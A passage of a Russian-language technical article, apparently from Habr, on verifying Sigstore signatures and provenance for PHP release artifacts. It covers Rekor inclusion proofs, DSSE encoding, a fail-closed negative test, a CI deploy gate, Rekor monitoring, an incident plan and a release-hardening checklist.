Цепочка verify(): шесть звеньев, и отказ любого — исключение (fail-closed), а не тихий «verified».

Стоит задержаться на строчке про Rekor — за ней прячется самое неинтуитивное. Rekor устроен как Merkle-дерево (тот же принцип, что Certificate Transparency для TLS, RFC 6962): каждая подпись — лист, у дерева есть корневой хеш. Bundle несёт в себе inclusion proof — цепочку соседних хешей от вашего листа до корня. Верификатор пересчитывает корень из вашей записи и этого пути; результат обязан совпасть с checkpoint — подписанным «снимком» дерева (его размер + корневой хеш), а подпись checkpoint’а проверяется ключом Rekor из trusted root. Плюс SET (signed entry timestamp) фиксирует момент попадания записи в журнал — и этот момент обязан укладываться в ~10-минутное окно жизни эфемерного сертификата.

Два следствия. Во-первых, всё это лежит в bundle целиком — проверка inclusion proof не требует похода в Rekor, поэтому и возможен полный оффлайн. Во-вторых, запись математически нельзя «вынуть» задним числом, не сломав корень: отсюда и «неизменяемый журнал» из первой половины — подпись от имени вашего workflow физически не спрятать.

Заодно про то, что подписано в DSSE: подписывается не голый payload, а его PAE (pre-authentication encoding) — строка вида DSSEv1 SP len(type) SP type SP len(body) SP body. Явные длины и тип в подписи убирают целый класс атак на неоднозначность границ полей.

И ещё одно опасение снимем сразу: «самописная криптография на PHP?» — нет. Примитивы не свои: ECDSA/RSA — ext-openssl и phpseclib, Ed25519 — ext-sodium. Своя только протокольная логика (разбор бандла, цепочка проверок) — ровно то, что покрыто conformance.

Fail-closed: проверяем, что проверка проверяет

Верификатор, который зелёный всегда, хуже его отсутствия — он создаёт ложную уверенность. Поэтому к demo приложен negative.php: две атаки против настоящего бандла. Портим артефакт на байт и подставляем чужой репозиторий в identity:

$ php negative.phpOK: tampered artifact rejected — Attestation subject does not include the    expected sha256 digest "c78b374858d64db6c229d302f86f0052afad45b905a4a79ba91657404f5eb057".OK: wrong identity rejected — Certificate identity does not include the expected    SAN "https://github.com/evil/dsse/.github/workflows/attest.yml@refs/tags/1.1.1".fail-closed works

Та же философия — на неподдержанное: экзотический алгоритм или незнакомый формат бандла даёт UnsupportedBundleException, а не тихий «verified».

Встраиваем в CI/CD: гейт, мониторинг, реагирование

Подпись и проверка — половина дела. Вторая — встроить их в процессы.

Гейт в деплое. Самый честный сценарий ценности (помните честную рамку выше — для библиотек через composer install подпись канал не закрывает): вы деплоите файловый артефакт — PHAR, tarball релиза, образ — и хотите проверить его перед выкаткой. Шаг в пайплайне потребителя:

      - name: Verify release before deploy        env:          GH_TOKEN: ${{ github.token }}        run: |          gh release download "$VERSION" --repo acme/app --pattern '*.tar.gz' --pattern '*.sigstore.jsonl'          vendor/bin/sigstore-verify "app-${VERSION}.tar.gz" "app-${VERSION}.tar.gz.sigstore.jsonl" \            --repository acme/app --workflow attest.yml --ref "refs/tags/${VERSION}" \            --trusted-root trusted_root.json

Семантика отказа важна: при SigstoreException гейт останавливает деплой и поднимает алерт, а не пишет warning в лог. Не верифицируется — не выкатываем.

Мониторинг журнала. Прозрачность Rekor — это бесплатная сигнализация (мы разобрали её устройство выше). Если от имени вашего workflow в журнале появилась подпись, которой вы не делали, это видно. Следить за этим можно готовым rekor-monitor — у меня это weekly-workflow, который ищет в журнале сертификаты, выписанные на любую мою attest.yml identity, и заводит issue на расхождении:

name: Attestation watchon:  schedule:    - cron: '23 6 * * 1' # weekly  workflow_dispatch:permissions: read-alljobs:  rekor-identity-monitor:    permissions:      contents: read      issues: write      id-token: write    uses: sigstore/rekor-monitor/.github/workflows/reusable_monitoring.yml@<pin-sha> # main    with:      file_issue: true      artifact_retention_days: 14      config: |        monitoredValues:          certIdentities:            - certSubject: https://github\.com/acme/[^/]+/\.github/workflows/attest\.yml@.+              issuers:                - https://token\.actions\.githubusercontent\.com

План на инцидент. Если подпись, которой вы не делали, всё-таки появилась (угнали аккаунт, утёк токен): отозвать креды и PAT, ротировать всё; снять вредоносную версию с Packagist и удалить тег/релиз; выпустить advisory (GitHub Security Advisory) и фикс-релиз; провести пост-мортем — и вот тут провенанс окупается: gitCommit из аттестаций даёт криптографически доказанный ответ, какой именно коммит и какая джоба породили каждый артефакт.

Чек-лист и когда вам это (не) нужно

Минимум, который превращает «у нас есть подпись» в «у нас защищённый релиз»:

  1. main под branch protection: PR + ревью, без force-push (соло-мейнтейнеру — как минимум PR + запрет force-push, гейтом служит CI; обязательное ревью — там, где есть второй мейнтейнер);

  2. 2FA у всех с правами на репозиторий и Packagist;

  3. tag protection / ruleset: создавать релизные теги может только мейнтейнер (триггер подписи = право чеканить релизы);

  4. сторонние экшены запинены по SHA;

  5. permissions минимальны, право подписи/записи — точечно по джобам;

  6. вечные секреты заменены на OIDC;

  7. attest.yml на релизных тегах, подписанные байты — в Release;

  8. у потребителя — гейт верификации перед деплоем;

  9. мониторинг Rekor включён.

И честная таблица — кому это сколько даёт сегодня:

Ваш случай

Нужно ли

Мейнтейнер публичной библиотеки

Подписывайте. Минимальная подпись — ~38 строк, бесплатно. Канал composer install это пока не закрывает, но провенанс — проверяемое доказательство происхождения релиза

Деплой PHAR/tarball/образов файлами

Обязательно верифицируйте — здесь подпись закрывает доставку целиком

Зависимости только через composer install из Packagist

Ценность пока ограничена (см. рамку про zipball); подписывайте свои релизы на будущее

Внутренний код без внешних артефактов

Сегодня вам это не нужно — честно

Стек

Все пакеты — PHP ≥ 8.1, PHPStan level 9, MIT, без обязательных расширений (openssl/sodium подхватываются, если есть):

Пакет

Что делает

k2gl/sigstore-verify

оффлайн-верификатор Sigstore-бандлов + CLI: DSSE и message-подписи, Rekor v1/v2, RFC 3161, SCT, ключевые и keyless бандлы

k2gl/slsa-provenance

модели SLSA Provenance v1 и v0.2

k2gl/in-toto-attestation

in-toto Statement v1 и v0.1

k2gl/dsse

DSSE-конверт: PAE, sign/verify (ECDSA P-256, Ed25519, raw и DER)

k2gl/tuf

минимальный fail-closed TUF-клиент (spec 1.0) для корня доверия

Всё из статьи — clone-and-run в companion-репозитории k2gl/sigstore-php-demo: composer install и сразу проверяете настоящий подписанный релиз, в том числе полностью оффлайн.

Куда дальше

  1. Добавьте attest.yml (выше) в свой репозиторий и пройдите чек-лист.

  2. Пушните релизный тег — подпись и Release с артефактами появятся сами.

  3. Проверьте результат: gh attestation verify, CLI или код из статьи.

Повторю границу применимости, потому что это важнее любого энтузиазма: composer require тянет zipball, который GitHub генерирует из тега на лету, — подписать «то, что скачает composer», нечего. Подпись артефакта работает там, где артефакт — фиксированный файл (PHAR, релизы, образы, внутренние реестры), и как доказательство происхождения. Если Composer-экосистема дозреет до нативных аттестаций (как сделали npm и PyPI) — проверочная сторона на PHP уже готова.

Issues и фичреквесты — в k2gl/sigstore-verify. Особенно ценны реальные бандлы, которые верификатор отверг: fail-closed — это контракт, и каждый такой случай либо дыра в спецификации, либо мой будущий релиз. Несите. Замечания и несогласие в комментариях приветствуются — особенно по модели угроз.

ссылка на оригинал статьи https://habr.com/ru/articles/1048056/